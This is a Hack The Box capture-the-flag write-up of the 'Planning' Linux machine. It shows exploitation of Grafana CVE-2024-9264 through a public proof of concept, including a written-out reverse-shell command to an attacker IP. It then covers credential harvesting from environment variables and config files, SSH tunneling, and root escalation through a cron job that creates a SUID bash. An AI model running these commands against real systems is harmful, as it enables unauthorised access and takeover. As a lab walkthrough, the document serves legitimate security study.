Hack The Box - Planning
An easy-difficulty Linux machine exploiting Grafana command injection (CVE-2024-9264) to obtain initial access, followed by SSH tunneling and cronjob manipulation for privilege escalation.
Introduction
Planning is an easy difficulty Linux machine. For this machine we were only given the IP address 10.10.11.68 and the credential admin / 0D5oT70Fq13EvB5r
Enumeration
As usual I ran an nmap scan against the machine, which revealed that there was an SSH service running on port 22 and an HTTP service running on port 80.
Seeing how that is a vulnerable version of ssh I proceeded to add planning.htb to my hosts file and visited the website, which led me to the landing page of a site named “Edukate” that seemingly had something to do with online classes.
Taking a look through the website I found some text input fields, namely in the form of a search bar and contact page, but after a little testing I determined they were not vulnerable. Deciding to see what else was on the domain I ran a gobuster directory search, which returned a register.php endpoint that was not apparent at first. However, after some testing I determined that it wasn’t useful for now.
Grafana Interface
With my nmap scan, sub directory search, and initial exploration of the site all being fruitless I decided to run a subdomain search using the combined_subdomains subdomains wordlist by using the command gobuster vhost -u http://planning.htb -w /usr/share/seclists/Discovery/DNS/combined_subdomains.txt -t 50 --append-domain. The scan was successful, revealing a grafana instance running at grafana.planning.htb. After adding grafana.planning.htb to my hosts file I visited it, finding a log in portal.
I was able to log in using the credentials admin / 0D5oT70Fq13EvB5r, which we were given as part of this machine. Looking through the panel I didn’t find anything too interesting, however I did manage to find the version number which was Grafana 11.0
Initial Foothold - Exploiting Grafana
With a quick google search I found that this version of Grafana was vulnerable to CVE-2024-9264, which allows users with a VIEWER or higher permission to exploit command injection and local file inclusion vulnerabilities. This was perfect since our given credentials were for an admin account, meaning we would be able to run commands on the machine if duckdb was installed.
With another google search I found this PoC by nollium, which was exactly what we needed. After downloading the script and installing all the requirements I proceeded to test it by running the whoami command.
As seen in the screenshot above the command ran, returning root as the user. Having confirmed that the grafana instance was vulnerable to command injection I set up a netcat listener on port 4444 of my attacking machine with the command nc -lvnp 4444 and connected to it using the PoC using the command python CVE-2024-9264.py -u admin -p 0D5oT70Fq13EvB5r -c 'bash -c "bash -i >& /dev/tcp/10.10.14.8/4444 0>&1"' http://grafana.planning.htb/.
Lateral Movement - Obtaining User flag
Success! I now had a shell as root on the machine. However, this was not really root as this shell was running in a containerized environment, evident by the numbers after root@ which are indicative that we are actually inside a docker instance.
From here I tried a few different things, looking through the system for any backup files or databases which might contain credentials. Eventually I decided to check the environment variable using the command env and found something interesting.
The GF_SECURITY_ADMIN_PASSWORD and GF_SECURITY_ADMIN_USER stood out, containing the credentials enzo / RioTecRANDEntANT!.
Figuring these belonged to one of the users on the machine I attempted to connect to the ssh instance on port 22 I found earlier, and managed to log into the enzo account, who had the user flag right there in their home directory.
Privilege Escalation - Obtaining Root Flag
Although I now had access to the enzo account I still needed to find a way to obtain root privileges, so I ran sudo -l to see if the account had any sudo permissions, but it didn’t return anything interesting. I also checked for any misconfigured SUID binaries on the machine but that also did not return anything interesting.
Eventually I decided to see if there were any interesting connections on the machine with netstat -tunlp
netstat did not reveal specific program names, but it did reveal a few interesting ports:
- Port 3306 - the default port for MySQL
- Port 8000 - a common port for running web servers locally
With the knowledge that MySQL was likely running on the machine I decided to search the /var/www/ directory for any files containing references to mysql or databases with the command find /var/www -name "*.php" -o -name "*.py" -o -name "*.js" -o -name "*.conf" 2>/dev/null | xargs grep -l -i "mysql\|database" 2>/dev/null
The search returned two files, enroll.php and index.php. enroll.php didn’t have anything interesting, but index.php had credentials for a root account right at the top of the file.
I initially attempted to switch into the root account with root / EXTRapHY, but those credentials were not actually for the account on the machine.
Deciding to pivot I wanted to see what was on the web service running on port 8000, but it was only accessible through localhost. To circumvent this I used SSH tunneling with the command ssh -L 9999:127.0.0.1:8000 enzo@10.10.11.68, which would allow me to connect to the interface by visiting 127.0.0.1:9999 on my web browser.
After visiting the web service I was met with a log in portal, which I was able to access with the root / EXTRapHY credentials found earlier. Once inside I realized the service was used for creating cronjobs, which was almost certainly running as root. Through this service I was able to make cronjobs and schedule them to run whenever I wanted, so I made one that would copy the bash binary to /tmp/, while also giving it root privileges and making it executable by the enzo account.
The cronjob was set to run right away, meaning there was now a root bash shell binary in /tmp/ which I could run. Using the -p flag to retain privileges I ran the binary and successfully spawned a root shell.
From here it was just a matter of heading over to the root directory and reading the root flag.















